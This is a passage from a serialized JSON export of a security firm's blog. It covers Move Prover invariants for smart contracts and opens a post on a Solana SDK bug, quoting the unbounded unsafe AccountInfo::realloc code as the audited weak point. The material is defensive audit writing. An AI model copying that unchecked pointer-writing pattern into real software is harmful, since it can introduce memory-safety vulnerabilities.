codebase.",{"type":20,"tag":29,"props":11503,"children":11504},{},[11505,11507,11514],{"type":26,"value":11506},"For example, in our work with ",{"type":20,"tag":35,"props":11508,"children":11511},{"href":11509,"rel":11510},"https://laminar.markets/",[39],[11512],{"type":26,"value":11513},"Laminar Markets",{"type":26,"value":11515},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":20,"tag":219,"props":11517,"children":11519},{"id":11518},"data-invariants",[11520],{"type":26,"value":11521},"Data Invariants",{"type":20,"tag":29,"props":11523,"children":11524},{},[11525,11527,11533,11535,11541,11543,11549,11551,11557],{"type":26,"value":11526},"Formal verification provides the best environment to verify that certain ",{"type":20,"tag":119,"props":11528,"children":11530},{"className":11529},[],[11531],{"type":26,"value":11532},"variables",{"type":26,"value":11534}," or ",{"type":20,"tag":119,"props":11536,"children":11538},{"className":11537},[],[11539],{"type":26,"value":11540},"resources",{"type":26,"value":11542}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":20,"tag":119,"props":11544,"children":11546},{"className":11545},[],[11547],{"type":26,"value":11548},"index",{"type":26,"value":11550}," is never greater than 4 using a ",{"type":20,"tag":119,"props":11552,"children":11554},{"className":11553},[],[11555],{"type":26,"value":11556},"struct invariant",{"type":26,"value":61},{"type":20,"tag":305,"props":11559,"children":11561},{"code":11560,"language":1359,"meta":7,"className":1360,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[11562],{"type":20,"tag":119,"props":11563,"children":11564},{"__ignoreMap":7},[11565,11581,11598,11605,11612,11627,11651],{"type":20,"tag":315,"props":11566,"children":11567},{"class":317,"line":318},[11568,11572,11577],{"type":20,"tag":315,"props":11569,"children":11570},{"style":541},[11571],{"type":26,"value":7800},{"type":20,"tag":315,"props":11573,"children":11574},{"style":322},[11575],{"type":26,"value":11576}," Type",{"type":20,"tag":315,"props":11578,"children":11579},{"style":328},[11580],{"type":26,"value":1092},{"type":20,"tag":315,"props":11582,"children":11583},{"class":317,"line":356},[11584,11589,11593],{"type":20,"tag":315,"props":11585,"children":11586},{"style":635},[11587],{"type":26,"value":11588}," index",{"type":20,"tag":315,"props":11590,"children":11591},{"style":334},[11592],{"type":26,"value":2884},{"type":20,"tag":315,"props":11594,"children":11595},{"style":322},[11596],{"type":26,"value":11597}," u64\n",{"type":20,"tag":315,"props":11599,"children":11600},{"class":317,"line":365},[11601],{"type":20,"tag":315,"props":11602,"children":11603},{"style":328},[11604],{"type":26,"value":577},{"type":20,"tag":315,"props":11606,"children":11607},{"class":317,"line":374},[11608],{"type":20,"tag":315,"props":11609,"children":11610},{"emptyLinePlaceholder":15},[11611],{"type":26,"value":427},{"type":20,"tag":315,"props":11613,"children":11614},{"class":317,"line":383},[11615,11619,11623],{"type":20,"tag":315,"props":11616,"children":11617},{"style":635},[11618],{"type":26,"value":6671},{"type":20,"tag":315,"props":11620,"children":11621},{"style":322},[11622],{"type":26,"value":11576},{"type":20,"tag":315,"props":11624,"children":11625},{"style":328},[11626],{"type":26,"value":1092},{"type":20,"tag":315,"props":11628,"children":11629},{"class":317,"line":407},[11630,11634,11639,11643,11647],{"type":20,"tag":315,"props":11631,"children":11632},{"style":635},[11633],{"type":26,"value":6688},{"type":20,"tag":315,"props":11635,"children":11636},{"style":635},[11637],{"type":26,"value":11638}," index",{"type":20,"tag":315,"props":11640,"children":11641},{"style":334},[11642],{"type":26,"value":7115},{"type":20,"tag":315,"props":11644,"children":11645},{"style":765},[11646],{"type":26,"value":10146},{"type":20,"tag":315,"props":11648,"children":11649},{"style":328},[11650],{"type":26,"value":1405},{"type":20,"tag":315,"props":11652,"children":11653},{"class":317,"line":421},[11654],{"type":20,"tag":315,"props":11655,"children":11656},{"style":328},[11657],{"type":26,"value":577},{"type":20,"tag":29,"props":11659,"children":11660},{},[11661,11663,11670,11671,11677],{"type":26,"value":11662},"We were able to verify more complex properties in our recent audits for ",{"type":20,"tag":35,"props":11664,"children":11667},{"href":11665,"rel":11666},"https://layerzero.network/",[39],[11668],{"type":26,"value":11669},"LayerZero",{"type":26,"value":9392},{"type":20,"tag":35,"props":11672,"children":11675},{"href":11673,"rel":11674},"http://ariesmarkets.xyz/",[39],[11676],{"type":26,"value":5185},{"type":26,"value":11678},", but the details are left as an exercise to the reader.",{"type":20,"tag":219,"props":11680,"children":11682},{"id":11681},"economic-invariants",[11683],{"type":26,"value":11684},"Economic Invariants.",{"type":20,"tag":29,"props":11686,"children":11687},{},[11688],{"type":26,"value":11689},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":20,"tag":29,"props":11691,"children":11692},{},[11693],{"type":26,"value":11694},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":20,"tag":305,"props":11696,"children":11697},{"code":6363,"language":1359,"meta":7,"className":1360,"style":7},[11698],{"type":20,"tag":119,"props":11699,"children":11700},{"__ignoreMap":7},[11701,11708,11791,11830,11849,11856,11871,11894,11917,11940],{"type":20,"tag":315,"props":11702,"children":11703},{"class":317,"line":318},[11704],{"type":20,"tag":315,"props":11705,"children":11706},{"style":1071},[11707],{"type":26,"value":6375},{"type":20,"tag":315,"props":11709,"children":11710},{"class":317,"line":356},[11711,11715,11719,11723,11727,11731,11735,11739,11743,11747,11751,11755,11759,11763,11767,11771,11775,11779,11783,11787],{"type":20,"tag":315,"props":11712,"children":11713},{"style":635},[11714],{"type":26,"value":4964},{"type":20,"tag":315,"props":11716,"children":11717},{"style":345},[11718],{"type":26,"value":6387},{"type":20,"tag":315,"props":11720,"children":11721},{"style":328},[11722],{"type":26,"value":1049},{"type":20,"tag":315,"props":11724,"children":11725},{"style":635},[11726],{"type":26,"value":6396},{"type":20,"tag":315,"props":11728,"children":11729},{"style":334},[11730],{"type":26,"value":2884},{"type":20,"tag":315,"props":11732,"children":11733},{"style":322},[11734],{"type":26,"value":4253},{"type":20,"tag":315,"props":11736,"children":11737},{"style":328},[11738],{"type":26,"value":44},{"type":20,"tag":315,"props":11740,"children":11741},{"style":635},[11742],{"type":26,"value":6413},{"type":20,"tag":315,"props":11744,"children":11745},{"style":334},[11746],{"type":26,"value":2884},{"type":20,"tag":315,"props":11748,"children":11749},{"style":322},[11750],{"type":26,"value":4253},{"type":20,"tag":315,"props":11752,"children":11753},{"style":328},[11754],{"type":26,"value":1509},{"type":20,"tag":315,"props":11756,"children":11757},{"style":334},[11758],{"type":26,"value":2884},{"type":20,"tag":315,"props":11760,"children":11761},{"style":328},[11762],{"type":26,"value":463},{"type":20,"tag":315,"props":11764,"children":11765},{"style":322},[11766],{"type":26,"value":6438},{"type":20,"tag":315,"props":11768,"children":11769},{"style":328},[11770],{"type":26,"value":44},{"type":20,"tag":315,"props":11772,"children":11773},{"style":322},[11774],{"type":26,"value":6438},{"type":20,"tag":315,"props":11776,"children":11777},{"style":328},[11778],{"type":26,"value":1468},{"type":20,"tag":315,"props":11780,"children":11781},{"style":635},[11782],{"type":26,"value":4738},{"type":20,"tag":315,"props":11784,"children":11785},{"style":322},[11786],{"type":26,"value":6459},{"type":20,"tag":315,"props":11788,"children":11789},{"style":328},[11790],{"type":26,"value":1092},{"type":20,"tag":315,"props":11792,"children":11793},{"class":317,"line":365},[11794,11798,11802,11806,11810,11814,11818,11822,11826],{"type":20,"tag":315,"props":11795,"children":11796},{"style":541},[11797],{"type":26,"value":6471},{"type":20,"tag":315,"props":11799,"children":11800},{"style":635},[11801],{"type":26,"value":6476},{"type":20,"tag":315,"props":11803,"children":11804},{"style":334},[11805],{"type":26,"value":1395},{"type":20,"tag":315,"props":11807,"children":11808},{"style":345},[11809],{"type":26,"value":6485},{"type":20,"tag":315,"props":11811,"children":11812},{"style":328},[11813],{"type":26,"value":1049},{"type":20,"tag":315,"props":11815,"children":11816},{"style":635},[11817],{"type":26,"value":6396},{"type":20,"tag":315,"props":11819,"children":11820},{"style":328},[11821],{"type":26,"value":44},{"type":20,"tag":315,"props":11823,"children":11824},{"style":635},[11825],{"type":26,"value":6413},{"type":20,"tag":315,"props":11827,"children":11828},{"style":328},[11829],{"type":26,"value":2214},{"type":20,"tag":315,"props":11831,"children":11832},{"class":317,"line":374},[11833,11837,11841,11845],{"type":20,"tag":315,"props":11834,"children":11835},{"style":345},[11836],{"type":26,"value":6513},{"type":20,"tag":315,"props":11838,"children":11839},{"style":328},[11840],{"type":26,"value":1049},{"type":20,"tag":315,"props":11842,"children":11843},{"style":635},[11844],{"type":26,"value":6522},{"type":20,"tag":315,"props":11846,"children":11847},{"style":328},[11848],{"type":26,"value":380},{"type":20,"tag":315,"props":11850,"children":11851},{"class":317,"line":383},[11852],{"type":20,"tag":315,"props":11853,"children":11854},{"style":328},[11855],{"type":26,"value":4265},{"type":20,"tag":315,"props":11857,"children":11858},{"class":317,"line":407},[11859,11863,11867],{"type":20,"tag":315,"props":11860,"children":11861},{"style":635},[11862],{"type":26,"value":6541},{"type":20,"tag":315,"props":11864,"children":11865},{"style":635},[11866],{"type":26,"value":6387},{"type":20,"tag":315,"props":11868,"children":11869},{"style":328},[11870],{"type":26,"value":1092},{"type":20,"tag":315,"props":11872,"children":11873},{"class":317,"line":421},[11874,11878,11882,11886,11890],{"type":20,"tag":315,"props":11875,"children":11876},{"style":635},[11877],{"type":26,"value":6557},{"type":20,"tag":315,"props":11879,"children":11880},{"style":635},[11881],{"type":26,"value":6562},{"type":20,"tag":315,"props":11883,"children":11884},{"style":334},[11885],{"type":26,"value":337},{"type":20,"tag":315,"props":11887,"children":11888},{"style":541},[11889],{"type":26,"value":6571},{"type":20,"tag":315,"props":11891,"children":11892},{"style":328},[11893],{"type":26,"value":1405},{"type":20,"tag":315,"props":11895,"children":11896},{"class":317,"line":430},[11897,11901,11905,11909,11913],{"type":20,"tag":315,"props":11898,"children":11899},{"style":635},[11900],{"type":26,"value":6583},{"type":20,"tag":315,"props":11902,"children":11903},{"style":635},[11904],{"type":26,"value":6588},{"type":20,"tag":315,"props":11906,"children":11907},{"style":334},[11908],{"type":26,"value":6593},{"type":20,"tag":315,"props":11910,"children":11911},{"style":635},[11912],{"type":26,"value":6598},{"type":20,"tag":315,"props":11914,"children":11915},{"style":328},[11916],{"type":26,"value":1405},{"type":20,"tag":315,"props":11918,"children":11919},{"class":317,"line":453},[11920,11924,11928,11932,11936],{"type":20,"tag":315,"props":11921,"children":11922},{"style":635},[11923],{"type":26,"value":6583},{"type":20,"tag":315,"props":11925,"children":11926},{"style":635},[11927],{"type":26,"value":6614},{"type":20,"tag":315,"props":11929,"children":11930},{"style":334},[11931],{"type":26,"value":6593},{"type":20,"tag":315,"props":11933,"children":11934},{"style":635},[11935],{"type":26,"value":6623},{"type":20,"tag":315,"props":11937,"children":11938},{"style":328},[11939],{"type":26,"value":1405},{"type":20,"tag":315,"props":11941,"children":11942},{"class":317,"line":486},[11943],{"type":20,"tag":315,"props":11944,"children":11945},{"style":328},[11946],{"type":26,"value":4265},{"type":20,"tag":29,"props":11948,"children":11949},{},[11950],{"type":26,"value":11951},"Some other ideas include",{"type":20,"tag":68,"props":11953,"children":11954},{},[11955,11960,11965],{"type":20,"tag":72,"props":11956,"children":11957},{},[11958],{"type":26,"value":11959},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":20,"tag":72,"props":11961,"children":11962},{},[11963],{"type":26,"value":11964},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":20,"tag":72,"props":11966,"children":11967},{},[11968],{"type":26,"value":11969},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":20,"tag":21,"props":11971,"children":11972},{"id":3702},[11973],{"type":26,"value":3705},{"type":20,"tag":29,"props":11975,"children":11976},{},[11977],{"type":26,"value":11978},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":20,"tag":29,"props":11980,"children":11981},{},[11982],{"type":26,"value":11983},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":20,"tag":29,"props":11985,"children":11986},{},[11987,11989,11994],{"type":26,"value":11988},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":20,"tag":35,"props":11990,"children":11992},{"href":7640,"rel":11991},[39],[11993],{"type":26,"value":7644},{"type":26,"value":61},{"type":20,"tag":1226,"props":11996,"children":11997},{},[11998],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":12000},[12001,12002,12005,12012],{"id":7704,"depth":356,"text":7707},{"id":7758,"depth":356,"text":7761,"children":12003},[12004],{"id":8009,"depth":365,"text":8005},{"id":10909,"depth":356,"text":10912,"children":12006},[12007,12008,12009,12010,12011],{"id":10925,"depth":365,"text":10928},{"id":11176,"depth":365,"text":11179},{"id":11481,"depth":365,"text":11484},{"id":11518,"depth":365,"text":11521},{"id":11681,"depth":365,"text":11684},{"id":3702,"depth":356,"text":3705},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":12017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12018,"description":12019,"author":12020,"image":12021,"date":12025,"isFeatured":15,"onBlogPage":15,"tags":12026,"body":12027,"_type":1242,"_id":17146,"_source":1244,"_file":17147,"_stem":17148,"_extension":1247},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":12022,"height":12023,"width":12024},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[1260,7668],{"type":17,"children":12028,"toc":17130},[12029,12057,12077,12747,12767,12778,12790,12923,12933,12939,12965,13305,13350,13677,13740,13753,13827,13895,13916,13929,13943,14291,14302,14307,14438,14489,14515,14527,14700,14836,14877,14914,14980,14985,15023,15077,15088,15232,15244,15250,15256,15289,15303,15424,15443,15471,15477,15567,15658,15664,15669,15716,15984,16059,16070,16097,16429,16441,16514,16787,16824,17126],{"type":20,"tag":29,"props":12030,"children":12031},{},[12032,12034,12040,12042,12047,12049,12055],{"type":26,"value":12033},"It all started with an audit of a program that used ",{"type":20,"tag":119,"props":12035,"children":12037},{"className":12036},[],[12038],{"type":26,"value":12039},"realloc",{"type":26,"value":12041}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":20,"tag":119,"props":12043,"children":12045},{"className":12044},[],[12046],{"type":26,"value":12039},{"type":26,"value":12048}," call (from ",{"type":20,"tag":119,"props":12050,"children":12052},{"className":12051},[],[12053],{"type":26,"value":12054},"solana_program",{"type":26,"value":12056},") would error out appropriately.",{"type":20,"tag":29,"props":12058,"children":12059},{},[12060,12062,12068,12069,12076],{"type":26,"value":12061},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":20,"tag":119,"props":12063,"children":12065},{"className":12064},[],[12066],{"type":26,"value":12067},"AccountInfo::realloc",{"type":26,"value":3894},{"type":20,"tag":35,"props":12070,"children":12073},{"href":12071,"rel":12072},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[39],[12074],{"type":26,"value":12075},"implemented",{"type":26,"value":2884},{"type":20,"tag":305,"props":12078,"children":12080},{"className":1360,"code":12079,"language":1359,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[12081],{"type":20,"tag":119,"props":12082,"children":12083},{"__ignoreMap":7},[12084,12178,12212,12219,12227,12239,12247,12339,12372,12379,12387,12517,12548,12555,12562,12570,12604,12616,12665,12677,12706,12713,12720,12727,12740],{"type":20,"tag":315,"props":12085,"children":12086},{"class":317,"line":318},[12087,12092,12097,12102,12106,12110,12115,12119,12124,12128,12133,12137,12142,12146,12150,12154,12159,12164,12169,12174],{"type":20,"tag":315,"props":12088,"children":12089},{"style":541},[12090],{"type":26,"value":12091},"pub",{"type":20,"tag":315,"props":12093,"children":12094},{"style":541},[12095],{"type":26,"value":12096}," fn",{"type":20,"tag":315,"props":12098,"children":12099},{"style":345},[12100],{"type":26,"value":12101}," realloc",{"type":20,"tag":315,"props":12103,"children":12104},{"style":328},[12105],{"type":26,"value":1049},{"type":20,"tag":315,"props":12107,"children":12108},{"style":334},[12109],{"type":26,"value":1490},{"type":20,"tag":315,"props":12111,"children":12112},{"style":541},[12113],{"type":26,"value":12114},"self",{"type":20,"tag":315,"props":12116,"children":12117},{"style":328},[12118],{"type":26,"value":44},{"type":20,"tag":315,"props":12120,"children":12121},{"style":635},[12122],{"type":26,"value":12123},"new_len",{"type":20,"tag":315,"props":12125,"children":12126},{"style":334},[12127],{"type":26,"value":2884},{"type":20,"tag":315,"props":12129,"children":12130},{"style":322},[12131],{"type":26,"value":12132}," usize",{"type":20,"tag":315,"props":12134,"children":12135},{"style":328},[12136],{"type":26,"value":44},{"type":20,"tag":315,"props":12138,"children":12139},{"style":635},[12140],{"type":26,"value":12141},"zero_init",{"type":20,"tag":315,"props":12143,"children":12144},{"style":334},[12145],{"type":26,"value":2884},{"type":20,"tag":315,"props":12147,"children":12148},{"style":322},[12149],{"type":26,"value":10451},{"type":20,"tag":315,"props":12151,"children":12152},{"style":328},[12153],{"type":26,"value":1468},{"type":20,"tag":315,"props":12155,"children":12156},{"style":334},[12157],{"type":26,"value":12158},"->",{"type":20,"tag":315,"props":12160,"children":12161},{"style":322},[12162],{"type":26,"value":12163}," Result",{"type":20,"tag":315,"props":12165,"children":12166},{"style":328},[12167],{"type":26,"value":12168},"\u003C(), ",{"type":20,"tag":315,"props":12170,"children":12171},{"style":322},[12172],{"type":26,"value":12173},"ProgramError",{"type":20,"tag":315,"props":12175,"children":12176},{"style":328},[12177],{"type":26,"value":5676},{"type":20,"tag":315,"props":12179,"children":12180},{"class":317,"line":356},[12181,12185,12190,12194,12199,12203,12208],{"type":20,"tag":315,"props":12182,"children":12183},{"style":541},[12184],{"type":26,"value":1380},{"type":20,"tag":315,"props":12186,"children":12187},{"style":635},[12188],{"type":26,"value":12189}," orig_len",{"type":20,"tag":315,"props":12191,"children":12192},{"style":334},[12193],{"type":26,"value":1395},{"type":20,"tag":315,"props":12195,"children":12196},{"style":541},[12197],{"type":26,"value":12198}," self",{"type":20,"tag":315,"props":12200,"children":12201},{"style":334},[12202],{"type":26,"value":61},{"type":20,"tag":315,"props":12204,"children":12205},{"style":345},[12206],{"type":26,"value":12207},"data_len",{"type":20,"tag":315,"props":12209,"children":12210},{"style":328},[12211],{"type":26,"value":568},{"type":20,"tag":315,"props":12213,"children":12214},{"class":317,"line":365},[12215],{"type":20,"tag":315,"props":12216,"children":12217},{"emptyLinePlaceholder":15},[12218],{"type":26,"value":427},{"type":20,"tag":315,"props":12220,"children":12221},{"class":317,"line":374},[12222],{"type":20,"tag":315,"props":12223,"children":12224},{"style":1071},[12225],{"type":26,"value":12226}," // realloc\n",{"type":20,"tag":315,"props":12228,"children":12229},{"class":317,"line":383},[12230,12235],{"type":20,"tag":315,"props":12231,"children":12232},{"style":541},[12233],{"type":26,"value":12234}," unsafe",{"type":20,"tag":315,"props":12236,"children":12237},{"style":328},[12238],{"type":26,"value":1092},{"type":20,"tag":315,"props":12240,"children":12241},{"class":317,"line":407},[12242],{"type":20,"tag":315,"props":12243,"children":12244},{"style":1071},[12245],{"type":26,"value":12246}," // First set new length in the serialized data\n",{"type":20,"tag":315,"props":12248,"children":12249},{"class":317,"line":421},[12250,12254,12259,12263,12267,12271,12276,12281,12285,12290,12294,12298,12303,12307,12311,12315,12319,12323,12327,12331,12335],{"type":20,"tag":315,"props":12251,"children":12252},{"style":541},[12253],{"type":26,"value":1445},{"type":20,"tag":315,"props":12255,"children":12256},{"style":635},[12257],{"type":26,"value":12258}," ptr",{"type":20,"tag":315,"props":12260,"children":12261},{"style":334},[12262],{"type":26,"value":1395},{"type":20,"tag":315,"props":12264,"children":12265},{"style":541},[12266],{"type":26,"value":12198},{"type":20,"tag":315,"props":12268,"children":12269},{"style":334},[12270],{"type":26,"value":61},{"type":20,"tag":315,"props":12272,"children":12273},{"style":345},[12274],{"type":26,"value":12275},"try_borrow_mut_data",{"type":20,"tag":315,"props":12277,"children":12278},{"style":328},[12279],{"type":26,"value":12280},"()",{"type":20,"tag":315,"props":12282,"children":12283},{"style":334},[12284],{"type":26,"value":1514},{"type":20,"tag":315,"props":12286,"children":12287},{"style":345},[12288],{"type":26,"value":12289},"as_mut_ptr",{"type":20,"tag":315,"props":12291,"children":12292},{"style":328},[12293],{"type":26,"value":12280},{"type":20,"tag":315,"props":12295,"children":12296},{"style":334},[12297],{"type":26,"value":61},{"type":20,"tag":315,"props":12299,"children":12300},{"style":345},[12301],{"type":26,"value":12302},"offset",{"type":20,"tag":315,"props":12304,"children":12305},{"style":328},[12306],{"type":26,"value":1049},{"type":20,"tag":315,"props":12308,"children":12309},{"style":334},[12310],{"type":26,"value":478},{"type":20,"tag":315,"props":12312,"children":12313},{"style":765},[12314],{"type":26,"value":2469},{"type":20,"tag":315,"props":12316,"children":12317},{"style":328},[12318],{"type":26,"value":1468},{"type":20,"tag":315,"props":12320,"children":12321},{"style":541},[12322],{"type":26,"value":7238},{"type":20,"tag":315,"props":12324,"children":12325},{"style":334},[12326],{"type":26,"value":8216},{"type":20,"tag":315,"props":12328,"children":12329},{"style":541},[12330],{"type":26,"value":2107},{"type":20,"tag":315,"props":12332,"children":12333},{"style":322},[12334],{"type":26,"value":4253},{"type":20,"tag":315,"props":12336,"children":12337},{"style":328},[12338],{"type":26,"value":1405},{"type":20,"tag":315,"props":12340,"children":12341},{"class":317,"line":430},[12342,12346,12351,12355,12360,12364,12368],{"type":20,"tag":315,"props":12343,"children":12344},{"style":334},[12345],{"type":26,"value":6147},{"type":20,"tag":315,"props":12347,"children":12348},{"style":635},[12349],{"type":26,"value":12350},"ptr",{"type":20,"tag":315,"props":12352,"children":12353},{"style":334},[12354],{"type":26,"value":1395},{"type":20,"tag":315,"props":12356,"children":12357},{"style":635},[12358],{"type":26,"value":12359}," new_len",{"type":20,"tag":315,"props":12361,"children":12362},{"style":541},[12363],{"type":26,"value":7224},{"type":20,"tag":315,"props":12365,"children":12366},{"style":322},[12367],{"type":26,"value":4253},{"type":20,"tag":315,"props":12369,"children":12370},{"style":328},[12371],{"type":26,"value":1405},{"type":20,"tag":315,"props":12373,"children":12374},{"class":317,"line":453},[12375],{"type":20,"tag":315,"props":12376,"children":12377},{"emptyLinePlaceholder":15},[12378],{"type":26,"value":427},{"type":20,"tag":315,"props":12380,"children":12381},{"class":317,"line":486},[12382],{"type":20,"tag":315,"props":12383,"children":12384},{"style":1071},[12385],{"type":26,"value":12386}," // Then set the new length in the local slice\n",{"type":20,"tag":315,"props":12388,"children":12389},{"class":317,"line":499},[12390,12394,12398,12402,12406,12410,12414,12419,12423,12427,12431,12435,12440,12445,12449,12453,12457,12461,12465,12469,12473,12477,12481,12485,12489,12493,12497,12501,12505,12509,12513],{"type":20,"tag":315,"props":12391,"children":12392},{"style":541},[12393],{"type":26,"value":1445},{"type":20,"tag":315,"props":12395,"children":12396},{"style":635},[12397],{"type":26,"value":12258},{"type":20,"tag":315,"props":12399,"children":12400},{"style":334},[12401],{"type":26,"value":1395},{"type":20,"tag":315,"props":12403,"children":12404},{"style":334},[12405],{"type":26,"value":5536},{"type":20,"tag":315,"props":12407,"children":12408},{"style":541},[12409],{"type":26,"value":2107},{"type":20,"tag":315,"props":12411,"children":12412},{"style":334},[12413],{"type":26,"value":8216},{"type":20,"tag":315,"props":12415,"children":12416},{"style":328},[12417],{"type":26,"value":12418},"(((",{"type":20,"tag":315,"props":12420,"children":12421},{"style":541},[12422],{"type":26,"value":12114},{"type":20,"tag":315,"props":12424,"children":12425},{"style":334},[12426],{"type":26,"value":61},{"type":20,"tag":315,"props":12428,"children":12429},{"style":328},[12430],{"type":26,"value":2085},{"type":20,"tag":315,"props":12432,"children":12433},{"style":334},[12434],{"type":26,"value":61},{"type":20,"tag":315,"props":12436,"children":12437},{"style":345},[12438],{"type":26,"value":12439},"as_ptr",{"type":20,"tag":315,"props":12441,"children":12442},{"style":328},[12443],{"type":26,"value":12444},"() ",{"type":20,"tag":315,"props":12446,"children":12447},{"style":541},[12448],{"type":26,"value":7238},{"type":20,"tag":315,"props":12450,"children":12451},{"style":334},[12452],{"type":26,"value":8216},{"type":20,"tag":315,"props":12454,"children":12455},{"style":541},[12456],{"type":26,"value":8054},{"type":20,"tag":315,"props":12458,"children":12459},{"style":322},[12460],{"type":26,"value":4253},{"type":20,"tag":315,"props":12462,"children":12463},{"style":328},[12464],{"type":26,"value":1509},{"type":20,"tag":315,"props":12466,"children":12467},{"style":334},[12468],{"type":26,"value":61},{"type":20,"tag":315,"props":12470,"children":12471},{"style":345},[12472],{"type":26,"value":12302},{"type":20,"tag":315,"props":12474,"children":12475},{"style":328},[12476],{"type":26,"value":1049},{"type":20,"tag":315,"props":12478,"children":12479},{"style":765},[12480],{"type":26,"value":2406},{"type":20,"tag":315,"props":12482,"children":12483},{"style":328},[12484],{"type":26,"value":1468},{"type":20,"tag":315,"props":12486,"children":12487},{"style":541},[12488],{"type":26,"value":7238},{"type":20,"tag":315,"props":12490,"children":12491},{"style":322},[12492],{"type":26,"value":4253},{"type":20,"tag":315,"props":12494,"children":12495},{"style":328},[12496],{"type":26,"value":1468},{"type":20,"tag":315,"props":12498,"children":12499},{"style":541},[12500],{"type":26,"value":7238},{"type":20,"tag":315,"props":12502,"children":12503},{"style":334},[12504],{"type":26,"value":8216},{"type":20,"tag":315,"props":12506,"children":12507},{"style":541},[12508],{"type":26,"value":2107},{"type":20,"tag":315,"props":12510,"children":12511},{"style":322},[12512],{"type":26,"value":4253},{"type":20,"tag":315,"props":12514,"children":12515},{"style":328},[12516],{"type":26,"value":2214},{"type":20,"tag":315,"props":12518,"children":12519},{"class":317,"line":513},[12520,12524,12528,12532,12536,12540,12544],{"type":20,"tag":315,"props":12521,"children":12522},{"style":334},[12523],{"type":26,"value":6147},{"type":20,"tag":315,"props":12525,"children":12526},{"style":635},[12527],{"type":26,"value":12350},{"type":20,"tag":315,"props":12529,"children":12530},{"style":334},[12531],{"type":26,"value":1395},{"type":20,"tag":315,"props":12533,"children":12534},{"style":635},[12535],{"type":26,"value":12359},{"type":20,"tag":315,"props":12537,"children":12538},{"style":541},[12539],{"type":26,"value":7224},{"type":20,"tag":315,"props":12541,"children":12542},{"style":322},[12543],{"type":26,"value":4253},{"type":20,"tag":315,"props":12545,"children":12546},{"style":328},[12547],{"type":26,"value":1405},{"type":20,"tag":315,"props":12549,"children":12550},{"class":317,"line":521},[12551],{"type":20,"tag":315,"props":12552,"children":12553},{"style":328},[12554],{"type":26,"value":1736},{"type":20,"tag":315,"props":12556,"children":12557},{"class":317,"line":552},[12558],{"type":20,"tag":315,"props":12559,"children":12560},{"emptyLinePlaceholder":15},[12561],{"type":26,"value":427},{"type":20,"tag":315,"props":12563,"children":12564},{"class":317,"line":571},[12565],{"type":20,"tag":315,"props":12566,"children":12567},{"style":1071},[12568],{"type":26,"value":12569}," // zero-init if requested\n",{"type":20,"tag":315,"props":12571,"children":12572},{"class":317,"line":2031},[12573,12577,12582,12587,12591,12596,12600],{"type":20,"tag":315,"props":12574,"children":12575},{"style":525},[12576],{"type":26,"value":10680},{"type":20,"tag":315,"props":12578,"children":12579},{"style":635},[12580],{"type":26,"value":12581}," zero_init",{"type":20,"tag":315,"props":12583,"children":12584},{"style":334},[12585],{"type":26,"value":12586}," &&",{"type":20,"tag":315,"props":12588,"children":12589},{"style":635},[12590],{"type":26,"value":12359},{"type":20,"tag":315,"props":12592,"children":12593},{"style":334},[12594],{"type":26,"value":12595}," >",{"type":20,"tag":315,"props":12597,"children":12598},{"style":635},[12599],{"type":26,"value":12189},{"type":20,"tag":315,"props":12601,"children":12602},{"style":328},[12603],{"type":26,"value":1092},{"type":20,"tag":315,"props":12605,"children":12606},{"class":317,"line":2053},[12607,12612],{"type":20,"tag":315,"props":12608,"children":12609},{"style":345},[12610],{"type":26,"value":12611}," sol_memset",{"type":20,"tag":315,"props":12613,"children":12614},{"style":328},[12615],{"type":26,"value":353},{"type":20,"tag":315,"props":12617,"children":12618},{"class":317,"line":2061},[12619,12623,12627,12631,12635,12639,12643,12647,12651,12656,12660],{"type":20,"tag":315,"props":12620,"children":12621},{"style":334},[12622],{"type":26,"value":6080},{"type":20,"tag":315,"props":12624,"children":12625},{"style":541},[12626],{"type":26,"value":2107},{"type":20,"tag":315,"props":12628,"children":12629},{"style":541},[12630],{"type":26,"value":12198},{"type":20,"tag":315,"props":12632,"children":12633},{"style":334},[12634],{"type":26,"value":61},{"type":20,"tag":315,"props":12636,"children":12637},{"style":345},[12638],{"type":26,"value":12275},{"type":20,"tag":315,"props":12640,"children":12641},{"style":328},[12642],{"type":26,"value":12280},{"type":20,"tag":315,"props":12644,"children":12645},{"style":334},[12646],{"type":26,"value":1537},{"type":20,"tag":315,"props":12648,"children":12649},{"style":328},[12650],{"type":26,"value":2117},{"type":20,"tag":315,"props":12652,"children":12653},{